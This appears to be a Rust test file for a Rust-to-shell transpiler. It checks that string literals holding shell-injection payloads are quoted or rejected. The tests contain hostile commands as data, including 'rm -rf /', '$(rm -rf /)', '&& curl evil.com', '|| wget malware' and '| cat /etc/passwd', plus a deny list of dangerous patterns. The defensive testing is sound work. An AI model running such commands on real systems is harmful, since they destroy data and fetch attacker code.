use crate::{transpile, Config};
fn assert_transpiles_ok(source: &str, description: &str) {
let config = Config::default();
match transpile(source, &config) {
Ok(_) => {} Err(e) => {
panic!(
"{}: Expected transpilation to succeed, but got error: {}",
description, e
);
}
}
}
fn assert_rejects_malicious(source: &str, attack_description: &str) {
let config = Config::default();
match transpile(source, &config) {
Ok(script) => {
let dangerous_patterns = vec![
"; rm ",
"| rm ",
"$(rm",
"`rm",
"&& rm",
"|| rm",
"; cat /etc/passwd",
"| curl",
"$(wget",
];
for pattern in dangerous_patterns {
assert!(
!script.contains(pattern),
"{}: Dangerous pattern '{}' found in output:\n{}",
attack_description,
pattern,
script
);
}
}
Err(e) => {
let error_str = e.to_string();
let error_lower = error_str.to_lowercase();
assert!(
error_lower.contains("validation")
|| error_lower.contains("unsafe")
|| error_lower.contains("injection")
|| error_lower.contains("detected")
|| error_str.contains("SC"),
"{}: Rejected but wrong error: {}",
attack_description,
error_str
);
}
}
}
#[test]
fn test_semicolon_in_string_is_safe() {
let source = r#"
fn main() {
let cmd = "; rm -rf /";
echo(cmd);
}
"#;
assert_transpiles_ok(source, "Bare semicolon in quoted string is safe");
}
#[test]
fn test_injection_pipe_command() {
let source = r#"
fn main() {
let cmd = "| cat /etc/passwd";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "Pipe command injection");
}
#[test]
fn test_injection_command_substitution() {
let source = r#"
fn main() {
let cmd = "$(whoami)";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "Command substitution injection");
}
#[test]
fn test_injection_backtick_substitution() {
let source = r#"
fn main() {
let cmd = "`reboot`";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "Backtick substitution injection");
}
#[test]
fn test_injection_and_operator() {
let source = r#"
fn main() {
let cmd = "&& curl evil.com";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "AND operator injection");
}
#[test]
fn test_injection_or_operator() {
let source = r#"
fn main() {
let cmd = "|| wget malware";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "OR operator injection");
}
#[test]
fn test_path_traversal_dotdot() {
let source = r#"
fn main() {
let path = "../../../etc/passwd";
echo(path);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
match result {
Ok(script) => {
eprintln!("Generated script:\n{}", script);
let has_quoted_assignment = script.contains("path='../../../etc/passwd'")
|| script.contains("path=\"../../../etc/passwd\"");
let has_quoted_usage = script.contains("\"$path\"") || script.contains("'$path'");
assert!(
has_quoted_assignment || has_quoted_usage,
"Path traversal must be quoted either in assignment or usage"
);
}
Err(e) => {
eprintln!("Rejected with: {}", e);
}
}
}
#[test]
fn test_path_traversal_absolute() {
let source = r#"
fn main() {
let path = "/etc/passwd";
echo(path);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
assert!(
result.is_ok(),
"Absolute paths should be allowed in strings"
);
}
#[test]
fn test_injection_unquoted_variable() {
let source = r#"
fn main() {
let malicious = "$(rm -rf /)";
echo(malicious);
}
"#;
assert_rejects_malicious(source, "Unquoted variable expansion");
}
#[test]
fn test_injection_dollar_in_string() {
let source = r#"
fn main() {
let msg = "Hello $USER, your home is $HOME";
echo(msg);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
match result {
Ok(script) => {
assert!(
script.contains("'Hello $USER") || script.contains("\\$USER"),
"Dollar signs not properly escaped"
);
}
Err(_) => {
}
}
}
#[test]
fn test_glob_asterisk() {
let source = r#"
fn main() {
let pattern = "*";
echo(pattern);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
match result {
Ok(script) => {
assert!(
script.contains("'*'") || script.contains("\"*\""),
"Glob pattern not quoted"
);
}
Err(_) => {}
}
}
#[test]
fn test_glob_question_mark() {
let source = r#"
fn main() {
let pattern = "file?.txt";
echo(pattern);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
assert!(result.is_ok(), "Question mark in string should be allowed");
}
#[test]
fn test_injection_newline_command() {
let source = r#"
fn main() {
let cmd = "hello\nrm -rf /";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "Newline injection");
}
#[test]
fn test_injection_carriage_return() {
let source = r#"
fn main() {
let cmd = "hello\rcurl evil.com";
echo(cmd);
}
"#;
assert_rejects_malicious(source, "Carriage return injection");
}
#[test]
fn test_injection_null_byte() {
let source = r#"
fn main() {
let cmd = "hello\0world";
echo(cmd);
}
"#;
let config = Config::default();
let result = transpile(source, &config);
match result {
Ok(script) => {
assert!(!script.contains("\0"), "Null byte in output");
}
Err(_) => {
}
}
}
#[test]
include!("adversarial_tests_main.rs");